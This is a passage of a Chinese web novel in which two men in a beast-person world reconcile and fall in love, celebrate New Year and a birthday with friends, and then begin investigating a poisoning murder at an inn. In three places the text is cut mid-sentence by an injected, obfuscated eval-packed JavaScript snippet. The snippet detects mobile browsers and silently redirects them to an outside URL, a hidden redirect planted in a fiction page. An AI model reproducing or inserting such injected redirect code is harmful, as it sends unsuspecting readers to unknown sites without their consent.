一股熟悉的、淡淡的竹叶香飘进鼻子,江知烨猛地抬头——站在旁边的不是安德鲁,而是柳漠澜! 他吓得差点从椅子上摔下来,手忙脚乱地整理衣服,脸颊瞬间涨得通红:"你……你怎么来了?!" 柳漠澜手里端着姜汤,眸光平静地看着他:"安德鲁让我来看看你。"他把姜汤递到江知烨面前,"喝了。" 江知烨看着他近在咫尺的脸,闻着他身上熟悉的香气,想起白天在酒楼他说的话,心里又是委屈又是别扭,猛地转过头去:"我不喝!你走!" 柳漠澜看着他通红的耳根和微微颤抖的肩膀,叹了口气:"江知烨,别闹了。" "我没闹!"江知烨的声音带着哭腔,"你都要成家了,还管我干嘛!" 柳漠澜沉默了片刻,放下姜汤,转身就走:"既然不想喝,那我走了。" "别!"江知烨想也没想,猛地抓住对方的手腕。柳漠澜的手很凉,像他刚从湖里出来时一样。他愣了一下,赶紧松开手,却又怕对方真的走了,只好别扭地拿起姜汤,小口小口地喝起来。 姜汤不是很烫,带着浓浓的姜味,却暖烘烘地流进胃里。柳漠澜站在一旁,看着他像只闹别扭的小孩一样小口喝着汤,眼底掠过一丝无奈的笑意。 等他喝完汤,柳漠澜才开口:"还难受吗?" 江知烨摇摇头,把空碗放在桌上,低着头不敢看他:"你……你真的要去见那个姓温的?" 柳漠澜看着他绞着被子的手指,沉默了一下:"方妙说的,不好驳她面子。" "那你……"江知烨抬起头,眼里满是希冀和不安,"你会喜欢她吗?" 因为在兽人世界,同性物种都是允许的,何况对方是个雌性。 柳漠澜没有回答,只是看着他。 江知烨被他看得心里发慌,越想越委屈,眼圈又红了:"你是不是觉得我不好?觉得我大大咧咧的,不如那个姓苏的文雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694759|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不如那个姓温的斯文……" 他越说越委屈,想起这段时间柳漠澜对他的冷淡,想起自己可能真的要失去对方了,鼻子一酸,猛地站起来,一把抱住了柳漠澜。 柳漠澜身体一僵,显然没料到他会有这样的举动。江知烨把脸埋在他的肩窝里,闷闷地说:"我知道我是男的……可我控制不住……我就是喜欢你……你别去见别人好不好……" 他越说越激动,心里的憋屈和委屈一股脑儿涌了上来,忍不住张开嘴,在柳漠澜的后脖颈上发狠似地咬了一口。 没有咬破,只是用尖锐的牙齿含住那片皮肤轻轻研磨,像只撒娇的犬类一样,表达着自己的不满和不安。 柳漠澜被他咬得轻哼一声,身体却慢慢放松下来。他能感觉到怀里的人在微微发抖,像是用尽了所有的力气。 房间里一片寂静,只有江知烨闷闷的鼻音和两人浅浅的呼吸声。柳漠澜犹豫了一下,最终还是抬起手,轻轻拍了拍江知烨的背。 这个动作像一道暖流,瞬间传遍江知烨全身。他愣了一下,慢慢松开了手,却还是不敢看柳漠澜,只是低着头,手指紧张地绞着衣角。 柳漠澜看着他通红的耳根和微微颤抖的睫毛,叹了口气,语气是前所未有的温柔:"傻瓜,我什么时候说过要成家了?" 江知烨猛地抬头,眼里满是惊讶:"可你在酒楼……" "我那只是气你。"柳漠澜看着他,眸光柔和,"气你那天在屋顶上说的话,气你看到我和苏文轩说话就吃味,却又不肯承认。" "我没有吃味!"江知烨下意识地反驳,却在看到柳漠澜似笑非笑的眼神时,声音越来越小,"……就一点点……" 柳漠澜被他逗笑了,伸手轻轻捏了捏他的脸颊:"还说没有?脸都红透了。" 江知烨被他捏得脸颊发烫,心里却像吃了蜜一样甜。他看着柳漠澜温柔的眼神,鼓起勇气问道:"那……你喜欢我吗?" 柳漠澜没有直接回答,只是看着他,眼里的笑意越来越深:"你说呢?" 江知烨看着柳漠澜眼中的自己,看着那抹熟悉的、却又带着暖意的笑容,忽然觉得心里的冰全都化了。他猛地又抱住柳漠澜,把脸埋在他的颈窝里,闷闷地说:"我不管,反正你不能去见别人!你只能喜欢我!" 柳漠澜无奈地摇了摇头,却也没有推开他,只是轻轻拍着他的背,像安抚一只耍赖的大型犬。 第二天,当顾时夜他们看到江知烨哼着小曲儿,跟在柳漠澜身后,时不时递个橘子剥个栗子时,都惊得下巴差点掉下来。 方妙偷偷问安德鲁:"他们这是……和好了?" 安德鲁看着江知烨献宝似的把一块糖糕递给柳漠澜,柳漠澜虽然嘴上说着"太甜",眼里却带着笑意,他也忍不住笑了:"嗯,和好了。" 顾时夜挠了挠头:"奇怪,昨天还跟斗鸡似的,今天怎么就……" 顾夜白白了他一眼:"你懂什么,这叫不打不相识!" 方妙看着远处相视而笑的两人,偷偷对安德鲁说:"看来我的''助攻''还挺成功的嘛!" 安德鲁看着她得意的小模样,眼里闪过一丝温柔:"是,你最厉害了。" 有些误会,像湖面上的薄冰,看似坚固,实则只需一点暖意,便能融成潺潺的春水。 而有些喜欢,即使绕了再大的弯,最终也会找到彼此的方向。 就像此刻,江知烨看着柳漠澜的侧脸,心里想着:这个冬天,应该不会再冷了。而柳漠澜感受到身边人投来的灼热目光,嘴角的笑意也越来越深。有些话,不必说出口,也能在彼此的眼神里,看到春天的讯息。 28. 又一年团圆饭 江知烨黏着柳漠澜的架势,让顾时夜每次见了都要咋舌。 明明是七人里最年长的,偏生在柳漠澜面前笑起来像个偷吃到糖的孩子。 明明方才还在兵器坊替安德鲁挑新年要用的剑柄,转眼就把自己的红缨枪往兵器架上一靠,寸步不离地跟着人往绸缎庄走。 柳漠澜由着他跟着,偶尔侧眸看对方扒着绸缎庄的柜台,兴致勃勃地指着一匹朱红织锦要给他做新斗篷。 或许爱真的能让人把铠甲熔成绕指柔,在瞳孔里种满永不凋谢的春樱。 这是他们七人相伴的第二个除夕。去年此时江知烨还在屋顶喝闷茶,如今却恨不得把柳漠澜的影子都拴在自己袖口。 方妙提着刚买的走马灯,瞅着前面亦步亦趋的两人,偷偷撞了撞安德鲁的胳膊。 "你看江知烨那傻样,跟个糯米团子似的,恨不得黏在柳漠澜身上。" 安德鲁正替她拎着刚买的糖瓜,闻言低笑一声,目光落在江知烨不停往柳漠澜手里塞炒栗子的动作上,沉稳的眼底漾着笑意:"难得见他这样。" 年货摊子沿着朱雀街摆了半条街,冰糖葫芦的竹签在阳光下亮晶晶的,卖绒花的摊子前围了不少姑娘。顾夜白被个捏面人的摊子勾住了脚,蹲在那儿看老师傅捏出个活灵活现的小鸟,顾时夜却盯上了隔壁卖摔炮的,趁人不注意捡了个小的往顾夜白脚边一扔,"啪"的声响惊得顾夜白蹦起来,引来周围一阵哄笑。方妙叉着腰去追顾时夜,安德鲁无奈地跟在后面替她拎着东西。 朱雀街的喧嚣忽然被一阵密集的鼓点劈开。当第一声铜锣在暮色里炸响时,方妙手里的走马灯险些掉在地上——只见街口突然涌出一片晃眼的金红,两头扎着翠绿璎珞的雄狮在人群中腾跃而起,缀满铜铃的鬃毛扫过店铺的幌子,惊得檐下灯笼左右乱晃。 舞狮队的汉子们皆扎着猩红腰带,裸露的臂膀上青筋随着鼓点跳动。最前头的绣球被舞得滴溜溜转,红绸穗子上的金线在夕阳下闪成一片流火。金狮猛地一个鹞子翻身,前爪精准地拍向绣球,颈间铜铃发出暴雨般的脆响,惊得顾时夜下意识往后一缩,却又立刻扒开人群往前凑,学着狮子的模样弓腰甩臂,被顾夜白揪住后领:"哥你那是狗熊爬树!" 方妙拽着安德鲁的袖子直往前挤,发间新买的绒花险些被人挤掉。安德鲁护着她往前挪了半步,目光却落在金狮翻飞的爪牙上——那狮子的眼珠竟是用琉璃嵌的,在余晖里流转着琥珀色的光,张口时露出的木齿打磨得锃亮,随着绣球的引逗忽合忽张,倒真有几分山林猛兽的威风。 突然鼓点一紧,两头狮子猛地对峙起来,前爪按地发出沉闷的声响。卖糖瓜的老汉在一旁吆喝:"看真章咯——"话音未落,右首的金狮突然腾空跃起,越过左狮的脊背时,嘴里"噗"地吐出丈许长的红绸,上面用金粉写着"风调雨顺"四个大字。 江知烨护着柳漠澜退到墙根,却见对方清冷的脸上难得有了很大笑意,眸光追着金狮腾跃的轨迹。 “这狮子眼睛做得真亮。”柳漠澜忽然开口,指尖指向金狮转动的琉璃眼。 逛完年货摊,众人拎着大包小包回到江府。江知烨和安德鲁自告奋勇下厨,说是要露一手。 顾时夜在厨房门口晃悠:"安德鲁还行,江大人你可别把厨房点了!" 闻言江知烨立马抄起个土豆就扔过去:"去去去!去年谁把饺子煮成片汤了?" 顾夜白在一旁补刀:"是哥!我作证!" 厨房里,安德鲁沉稳地切着腊肉,刀工利落,每片都薄如蝉翼。江知烨则在一旁揉面,弄得鼻尖上都是面粉,柳漠澜进来送调料时,看见他手忙脚乱地和面,面团黏得满手都是,忍不住上前帮他。 "笨手笨脚的。"他嘴上说着,动作却轻柔,替他刮掉粘在手指上的面团。江知烨心里一暖,趁机用沾着面粉的手碰了碰对方的脸颊:"漠澜,你也沾到了。" 柳漠澜嗔怪地看他一眼,用帕子擦了擦脸,帕角绣着的蓝色小鱼在烛光下若隐若现。 安德鲁在一旁看着,嘴角噙着笑,故意大声说:"江知烨,该调酱汁了。" 江知烨这才回过神,不好意思地挠了挠头,继续忙活。 方妙偷偷扒在厨房门口看,见安德鲁时不时帮江知烨递东西,两人配合默契,便跟顾夜白嘀咕:"没想到安德鲁做饭这么厉害,跟变戏法似的。" 年夜饭摆了满满一桌:红焖肘子、松鼠鳜鱼、安德鲁特制的熏肉,还有江知烨好不容易揉出来的饺子。顾时夜早就饿得不行,筷子刚要伸出去,被方妙打了一下:"先放鞭炮!" 院子里顿时热闹起来。顾时夜和顾夜白抢着去点鞭炮,"噼里啪啦"的声响中,方妙捂着耳朵笑得前仰后合,安德鲁站在她身边,下意识地替她挡着飞溅的火星。 就在这时,天空中忽然飘下第一片雪花。 “下雪了!”方妙第一个叫起来,伸出手去接,雪花落在她掌心,瞬间化成水珠。 顾时夜和顾夜白也顾不上鞭炮了,仰着头看天。 雪花越下越大,纷纷扬扬,很快就在院子里积了薄薄一层。 江知烨看着柳漠澜站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694760|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪光里,素色的衣衫上落了几片雪花,发间也沾了些白,忽然觉得这世间万物,都不及他此刻的模样。 江知烨悄悄拉住柳漠澜的手,往院子角落走了走。柳漠澜任由他牵着,指尖传来他掌心的温度,暖得让人安心。 “看,烟花!”顾夜白指着天空喊道。 只见一朵巨大的烟花在夜空中炸开,璀璨的光芒瞬间照亮了整个院子,红的、绿的、金的火星簌簌落下,像一场盛大的流星雨。 众人都仰着头看,发出阵阵惊叹。 江知烨看着柳漠澜被烟花映亮的侧脸,心跳得飞快。 他环顾四周,见众人都沉浸在烟花的绚烂中,便鼓起勇气,轻轻扳过柳漠澜的肩膀。 柳漠澜疑惑地看向他,却见他眼里映着烟花的光,还有一丝紧张。 还没等他反应过来,江知烨已经低下头,在漫天飞雪和绚烂烟花的映衬下,轻轻吻住了他的唇。 时间仿佛在这一刻静止了。 雪花落在他们的发间、肩头,远处是众人的笑闹声和烟花的爆裂声,而他们周围,却只剩下彼此的呼吸和心跳。 柳漠澜先是一僵,随即便放松下来,微微踮起脚尖,回应着他的吻。 这个吻很轻,却带着岁暮寒冬里最温暖的情意,像落在掌心的雪花,融化成潺潺的暖流,流淌进彼此的心底。 烟花渐渐熄灭,雪花依旧飘落。 江知烨松开手,看着柳漠澜泛红的脸颊和微微湿润的眼眸,傻笑着挠了挠头。 只见柳漠澜嗔怪地看他一眼,却没有推开他,只是轻轻挣开他的手,理了理微乱的鬓发。 “喂!你们俩躲在那儿干嘛呢!”顾时夜的声音打破了宁静,"快过来堆雪人啊!" “知道了!” 江知烨大喊一句,随即拉着柳漠澜走过去,此时方妙已经团好了一个雪球,安德鲁正在帮她滚雪人的身体,顾夜白在一旁找树枝做胳膊。白鸽抱着个胡萝卜,准备做雪人的鼻子。 “江知烨,你来堆雪人的头!”方妙喊道。 “好嘞!”江知烨应着,拿起雪就开始团,柳漠澜则在一旁帮他整理形状,偶尔递过一块石子做眼睛。 雪越下越大,院子里的雪人渐渐有了模样。炉火正旺,年夜饭的香气从屋里飘出来,混合着雪的清冽和红灯笼的暖意。 江知烨偷偷握住柳漠澜的手,在他耳边小声说:"柳漠澜,以后每个年,我们都一起过。" 柳漠澜没有回头,只是轻轻"嗯"了一声,指尖却微微收紧,回应着他的温暖。 29. 春信入织时 残雪在青瓦棱上融成细珠,柳漠澜正将最后一枚银梭穿过锦缎,这已经是他关在房里的第十三日。 指尖被银针磨出薄茧,可每当想起江知烨去年生辰时,望着市集上那件织金襕袍时眼里一闪而过的光,他垂眸时嘴角便会牵起极淡的弧度。 料子是托安德鲁从波斯商人手里寻来的,说是叫“流云缎”,走动时会泛出月光浸在水面的光泽,他特意在衣襟处绣了荼蘼,因对方曾说过,这花谢时春事了,偏生他觉得,开到极致的荼蘼最是热烈,像极了某些不必言说的心意。 “漠澜哥!”方妙的声音伴随着拍门声响起,“再不开门,时夜要把你窗纸捅破啦!” 柳漠澜将绣绷仔细收好,起身开门时,正见顾时夜勾着顾夜白的脖子,两人鼻尖都冻得通红,顾时夜手里还晃着根细竹枝,显然是在兑现方妙的话。 “做什么神神秘秘的,”顾夜白探着脑袋往里瞅,“是不是给江大人那小子准备生辰礼?我猜是玉佩!上次见他盯着摊子上的暖玉瞧了老半天。” “才不是玉佩呢。”柳漠澜侧身让他们进来,声音依旧清冷,却比平日多了一丝不易察觉的柔和,“方妙,帮我把妆奁里的金线拿过来。” “好嘞!” 方妙应声而去,安德鲁随即将手中食盒放在桌上,打开时热气混着甜香漫开。 顾时夜早就耐不住,伸手就要去拿,却被安德鲁轻轻拍开手背:“刚蒸好,烫。” 他说话时,方妙恰好捧着金线盒转身,见状噗嗤笑出声:“安德鲁你总像管着自家小弟似的管着他。” 顾时夜不服气地哼了声,却在看到安德鲁看向方妙时眼底的温软时,悻悻地闭了嘴。 “知烨呢?”柳漠澜将金线绕在指间,忽然问道。 “在演武场练枪呢,”顾夜白啃着安德鲁递来的酥酪,含糊不清地说,“说要在生辰前把‘破风十三式’练熟,还说要给你瞧瞧——不过依我看,他准是想在你面前耍威风。” 柳漠澜没接话,只是望着窗外渐渐转绿的柳梢。江知烨其实什么样子他清楚,但有时候笨拙地讨他欢心,反倒像个没长大的孩子。 “好了好了,别打扰漠澜做东西了,”安德鲁见柳漠澜指尖的银梭又动起来,适时开口,“明日就是知烨生辰,今晚我们去醉仙楼订了座,叫上白鸽一起,给你俩热闹热闹。” 方妙立刻拍手附和,顾两小家伙儿也跟着起哄。 柳漠澜点点头,指尖在荼蘼花瓣的银线上轻轻拂过,那里藏着他绣了三夜的小字——“与君同岁”。 暮色漫过朱雀桥时,醉仙楼的灯笼已次第亮起。江知烨踏入包厢时,正见柳漠澜坐在窗边,桌上已摆了几道菜,松鼠鳜鱼的甜香混着热酒的暖意,让他冻得有些发僵的身子瞬间暖和起来。 “你可算来了,”顾时夜拍着他的肩,“再晚些,你家漠澜就要把这盘水晶肘子给你留成冰疙瘩了。” 江知烨笑着推开他的手,目光却落在柳漠澜面前的食碟上——几块切好的蜜渍梅子,是他最爱吃的酸甜口味。 他刚在演武场练了一下午枪,此刻喉间正有些干渴,见状便伸手拿了一块,入口时酸甜的滋味在舌尖漾开,他抬眼看向柳漠澜,对方却恰好低下头,替他斟茶,耳尖却微微泛红。 “喏,给你的生辰礼,”顾夜白率先递过个长条形的木盒,“瞧瞧,我亲自挑的箭簇,精铁打制,上面还刻了你的名字。” 江知烨打开盒子,里面躺着三支寒光闪闪的箭簇,尾部果然刻着“知烨”二字。他刚要道谢,顾时夜就抢着说:“别听他吹,这玩意儿是我陪他去铁匠铺挑的,他连刻字都歪歪扭扭,还是我帮着描的边呢!” “你懂什么,”顾夜白瞪他一眼,“这叫心意!” 方妙笑着把一个绣囊递过来:“我给你绣了个钱袋,你那旧的都磨出洞了,上次看你掉了两枚铜钱出来。”绣囊是月白色的,上面用彩线绣着只活灵活现的小白熊,爪子里还抱着个金元宝,针脚虽不算顶尖细腻,却透着股俏皮的暖意。 “谢谢,有心了” 江知烨刚把绣囊收好,安德鲁便将一个锦盒推到他面前:“听说你想换把新的槊杆,这是用西域精钢混着牛筋木打的,韧性足,分量也合手。”锦盒打开,里面躺着一根乌黑色的槊杆,入手冰凉,却隐隐透着金属的光泽。江知烨拿在手里掂量了一下,果然轻重适宜,他抬头看向安德鲁,后者只是淡淡一笑:“试试便知。” 轮到白鸽时,他有些局促地绞着衣袖,从袖袋里拿出个小小的木雕。那是只振翅的鸿雁,雕工不算繁复,却线条流畅,眼睛处用一点朱砂点染,显得格外灵动。 “我……我看大人你常骑马射箭,就刻了这个,”他声音很哑却很轻,“听说鸿雁能传书,愿你……愿你所想皆能抵达。” 江知烨接过木雕,入手温润,是块上好的黄杨木。 “多谢你们。”江知烨将木雕小心翼翼地收进袖袋,目光最后落在柳漠澜身上,“漠澜,你的呢?” 众人的目光也随之聚焦过来。柳漠澜放下手中的酒杯,从身侧的锦盒里拿出那件月白的流云缎袍。灯光下,料子果然像流动的月光,衣襟处的荼蘼花在烛光里泛着银金交织的微光,两只蜂鸟仿佛下一刻就会振翅飞起。 “试试?”他将袍子递过去,声音依旧平静,指尖却微微收紧。 江知烨接过袍子,随即起身走到屏风后换上,再出来时,月白的衣袍衬得他身姿挺拔,眉眼间的英气被料子的柔和光泽衬得愈发鲜明。 顾时夜吹了声口哨:“啧啧,漠澜哥这手艺,怕是连城里的尚服局都比不过。” 方妙凑近细看那荼蘼花,忽然惊呼:“呀!这蜂鸟嘴里衔的是不是……是‘知’和‘澜’两个字?” 众人连忙凑近,果然见两只蜂鸟的喙间,分别用极细的金线绣着两个小字,若不仔细看,只当是花蕊的纹路。 江知烨低头看着衣襟,心脏像是被什么东西轻轻撞了一下,温热的感觉从胸口蔓延开来。他抬头看向柳漠澜,对方正望着窗外的夜色,睫毛在眼睑下投下淡淡的阴影,可那抹极淡的红晕,却从耳尖一直漫到了脖颈。 “喜欢吗?”柳漠澜忽然转过头。 “喜欢。”江知烨的声音有些发哑,他伸手握住柳漠澜的手,那只手平日里总是冰冷的,此刻却因紧张而有些微湿,“很喜欢。” 顾时夜在一旁假装呕吐:“行了行了,知道你们恩爱,别在我们这群‘孤家寡人’面前晃了。”他话音刚落,安德鲁便不动声色地给方妙夹了一筷子松鼠鳜鱼,方妙脸颊一红,低声道了句“谢谢”。 顾夜白见状,故意大声咳嗽起来,惹得众人一阵哄笑。 酒过三巡,窗外的月亮已升到中天。柳漠澜忽然站起身:“时候不早了,你们先回吧,我有些话,想单独和知烨说。 走出醉仙楼,江知烨将外袍脱下来披在柳漠澜肩上,“要去哪里?” 柳漠澜没有立刻回答,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694761|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着街道往前走。 街角的更夫敲着梆子走过,“咚——咚——”的声音在寂静的夜里格外清晰。 路过南市时,柳漠澜忽然停在一个卖糖画的摊子前,摊主是个白发老翁,正用勺子舀着融化的糖汁在案板上勾勒。 “要两只蜂鸟。”柳漠澜轻声说。 老翁点点头,手腕翻转间,银亮的糖汁便在木板上流淌开来,很快就凝成了两只衔尾相绕的蜂鸟,翅膀上还泛着琥珀色的光泽。他用小竹片将糖画揭下,递给柳漠澜时,笑着说:“公子好眼光,这蜂鸟成双,是个好兆头。” 柳漠澜付了钱,将其中一只递给江知烨:“尝尝?” 糖画在月光下晶莹剔透,江知烨小心翼翼地咬了一口,甜丝丝的味道在嘴里化开,“好吃!” 他们沿着护城河边走,水面上倒映着万家灯火,偶尔有晚归的画舫驶过,留下一路涟漪。柳漠澜忽然指着不远处的一座石桥:“还记得吗?去年上元节,你在这里差点把我挤到河里。” 江知烨失笑:“明明是你自己要看灯笼,挤到前面去,我怕你摔着才拉了你一把。” “才不是,”柳漠澜微微扬起下巴,眼里却带着笑意,“是你自己想看那个走马灯,还非要拉着我一起。” 两人说着话,不知不觉走到了郊外。远处的山峦在夜色里若隐若现,空气中弥漫着泥土和青草的气息。 柳漠澜忽然停下脚步,指着前方山坡上的一片黑影:“你看。” 江知烨顺着指的方向望去,只见月光下,那片黑影竟是一片盛开的梅林,粉白的花朵在夜色里像落了一层雪,微风拂过,花瓣簌簌飘落,如同下了一场温柔的花雨。 “这是……”江知烨有些惊讶,他从未听说城郊有这样一片梅林。 “是我去年让人种的,”柳漠澜牵着他的手往梅林走去,“你说过喜欢梅花,说它开在寒冬,却有傲骨。” 走进梅林,花瓣落在他们的发间衣上,空气中满是淡淡的梅香。林中有一条用鹅卵石铺成的小径,通向深处的一座小木屋。 “漠澜,你……”江知烨忽然有些说不出话,他看着眼前的一切,才明白对方这半个月来的秘密,不仅仅是那件流云缎袍。 柳漠澜推开木屋的门,里面陈设简单,却收拾得一尘不染。桌上点着一支红烛,旁边放着一个小小的香炉,燃着他喜欢的龙涎香。 墙角的花架上,插着几枝刚折来的梅花,瓶身是自己送他的那个青花瓷瓶。 “生辰快乐,江知烨。”柳漠澜转过身,月光和烛火在他脸上交织,眼神温柔得像化不开的春水,“这里没有别人,只有我和你。” 江知烨看着柳漠澜,忽然觉得眼眶有些发热。他伸手将对方揽入怀中,鼻尖萦绕着对方发间的竹香和绣线香,还有那淡淡的、属于他的清冷气息。 梅林的花瓣还在不停地飘落,落在木屋的屋顶上,落在门外的兔子灯笼上,也落在他们紧紧相拥的身影上。 “谢谢你,漠澜。”他埋首在柳漠澜的发间,声音低沉而温柔,“这是我收到的,最好的礼物。” 木屋外,月光如水,将整片梅林都笼罩在一片温柔的光晕里。 “柳漠澜,你为什么喜欢我?”江知烨一遍一遍亲吻着眼前人的眼睑,好似永远不满足一般。 闻言柳漠澜思索片刻,随即轻声开口,“因为你总出现在我梦里啊” 因为你总出现在我梦里,所以我开始期待与你白天相见。 30. 望山客夜影 檐角铜铃在暮春的风里晃出碎响时,江知烨已带着一行人立在“望山客”客栈的雕花门外。 顾时夜敲着门框,:“老板!人呢?再不开门我们可撬锁了!” 门“吱呀”一声从内里拉开,掌柜的搓着手哈腰出来,脸上褶子堆得像晒干的梅干:“哎呦江大人,您可算来了!这事儿……唉,真是晦气!” 方妙跟在江知烨身侧,抬头瞥见堂屋梁上悬着的鹦鹉架,空笼子里还剩半颗没吃完的粟米,忽的听见顾夜白低呼:“哥你看,楼梯拐角有血迹!” 江知烨步幅未停,靴底碾过青石板上暗红的痕迹,那血迹呈滴状延伸至二楼左手第三间房。 木门虚掩着,腐锈味混着甜腥气从门缝里渗出来。 “死者张兆,行商的,”掌柜的缩在众人身后,声音发颤,“往常走南闯北总在我这歇脚,前夜亥时来的,要了壶梨花白和两碟酱牛肉。今早卯时我去送洗脸水,门从里面闩着,喊了几声没人应,撞开才发现……” 江知烨推门的动作顿了顿,指腹蹭过门板内侧的插销——木闩中段有道新鲜的劈痕,断裂处毛刺朝内翻卷。 他没作声,侧身让顾时夜先进去,后者刚踏进屋就吹了声口哨:“乖乖,这味儿够冲!” 屋内陈设简单,一张雕花梨木床占了大半空间。死者仰躺在床榻中央,玄色商衣浸透血污,腹部位置凝结着暗紫色的痂。江知烨走到床边单膝点地,发现死者右袖内侧缝着个暗袋,边缘线脚有被撕扯的痕迹。 “把灯移近些。”他头也未抬,指尖拨开死者蜷曲的左手。 顾夜白连忙将桌上油灯往前递,火光照亮死者掌心三道深可见骨的抓痕。 “腹部伤口约三寸长,边缘整齐,”江知烨掀开死者腹部的衣衫,“但创面发黑,血管呈蛛网样扩散——不是死于刀伤,是毒发。”他屈指轻叩死者下颌,撬开的嘴里溢出暗红涎水,齿龈处有明显的蓝紫色瘀斑。 方妙忽然低呼:“知烨,你看他背后!” 死者俯卧的姿势被翻动过,后腰处本该生着蝎尾的位置只剩个血肉模糊的创口。江知烨探手去摸,指腹触到残留的几丁质碎片:“毒刺被整根拔掉了,创口边缘有烧灼痕迹,像是用烙铁止过血。”他忽然顿住,指尖在死者腰椎旁的皮肤下捏到硬物,“顾时夜,把匕首给我。” 顾时夜立刻从靴筒里抽出短匕,江知烨用布帕裹住刀刃,小心地从死者腰间剜出枚东西——那是枚指节大小的骨片,雕成狰狞的兽首形状,眼窝处嵌着半颗碎裂的黑曜石。 “骨头收藏?”顾夜白凑过来看,“我刚才在墙角看见个樟木箱,里面全是这玩意儿。”他说着指向角落,那里果然摆着口上了锁的木箱。 江知烨没接话,目光落在死者交叠的足尖上。云纹锦靴内侧绣着细小的蝎子图腾,靴底沾着两种泥土:深褐色的黏土里混着沙砾,还有些暗红色的颗粒状物质。 “死亡时间在昨夜子时到丑时之间,”他站起身,掸了掸膝头的灰尘,“毒发需要半个时辰,凶器是刃宽一寸的匕首,刺入角度向下,凶手应该比死者矮半个头。” 顾时夜正在翻检墙角的木箱,闻言嗤笑:“蝎子兽人遇上个矮子杀手?这画面想想就可乐。”他话音未落,箱盖“啪”地弹开,里面层层叠叠码着上百枚骨制品——有打磨光滑的兽腿骨,刻着星图的颅骨碎片,甚至还有半副用鱼骨拼成的算盘。 “死者是骨头收藏家,”江知烨蹲下身拨弄那些骨片,“这些骨头……像是被活物啃下来的。” 方妙一直蹲在死者的行囊旁,此刻忽然举起一卷油纸:“知烨,这里有封信!”信纸边缘磨得发毛,墨迹在某些地方晕染开来,显然被水浸过。 她展开念道:“‘骏杰兄亲启,某将于下月初十抵岩磷城,特备西域虎脊骨为礼,望兄勿念。张兆顿首。’” “岩磷城,杨骏杰。”江知烨重复着这两个名字,指尖在木桌上敲出规律的节奏,“顾时夜,顾夜白,你们即刻启程去岩磷城,找到这个杨骏杰,问清张兆此行的目的。”他看向缩在门后的掌柜,“老板,把张兆近半年的住宿记录找出来,要详细到同行者和携带物品。” 白鸽早已摊开记录册,炭笔在纸页上沙沙作响:“死者左腕有旧绳缚痕迹,右手指甲缝有泥土残留,靴底暗红色颗粒初步判断为岩磷城特有的赤砂岩。”他说话时声音很轻,却条理清晰,每记一笔都会抬眼核对现场细节。 “方妙,你和我一起送尸体去医馆,”江知烨最后看了眼床榻,目光落在死者紧握的右拳上,“让林大夫看看这毒到底是什么来头。”他俯身去掰那只手,指节僵硬得像铁块,直到掰开才发现掌心里攥着半枚碎裂的骨片,上面用朱砂画着个扭曲的符号。 顾时夜已经把行囊甩上肩头,闻言探过头:“这符号像个……蝎子尾巴?” 江知烨没回答,只是将那半枚骨片用布帕包好,塞进袖袋。 窗外的风忽然大了些,吹得窗纸哗哗作响,烛火在他眼底明明灭灭,映着下颌紧绷的线条。当俩乌鸦的脚步声消失在楼梯口时,他忽然开口,声音低得像自语:“蝎子尾毒刺被拔,却用烙铁止血——凶手既要毒,又要刺,到底想要什么?” 方妙抱着那卷书信,忽然打了个寒噤。屋内的甜腥气似乎更浓了,她看见江知烨蹲下身,再次检查死者的靴底,指尖在暗红色沙砾上轻轻摩挲。 林大夫的医馆坐落在西市尽头,门楣上悬着块褪了色的匾额,题着“回春堂”三字。 担架刚进门,穿着青布褂子的学徒便捏着鼻子迎上来,江知烨直接将人引至后院的验尸房,一间朝北的小屋,四壁刷着厚厚的石灰,墙角摆着盛满艾草的铜盆,却依旧盖不住那股混杂着药味的腐气。 “死者张兆,蝎子兽人,昨夜中毒身亡。”江知烨掀开担架上的白布,露出死者发黑的下颌,“腹部刀伤伴毒发,后腰毒刺被拔,创口有烧灼痕迹。” 林大夫指尖蘸了些烈酒,先探了探死者颈动脉的位置,又翻开眼睑查看瞳孔:“刀伤三寸深,未及脏腑,毒才是主因。”他用银簪刺破死者指尖,挤出的血液呈粘稠的紫黑色。 方妙下意识后退半步,撞在身后的药柜上,几味药材的纸包簌簌掉落。江知烨伸手扶住她,目光却未离开林大夫——只见他用银刀轻轻刮取伤口处的组织,放在鼻下轻嗅,眉头瞬间拧紧:“是‘蝎尾草’的毒。” “蝎尾草?”江知烨重复道,忆起古籍里的记载,“产于西域荒漠,茎叶有毒,汁液入血可致肌肤溃烂,毒发时如蝎尾噬心。” 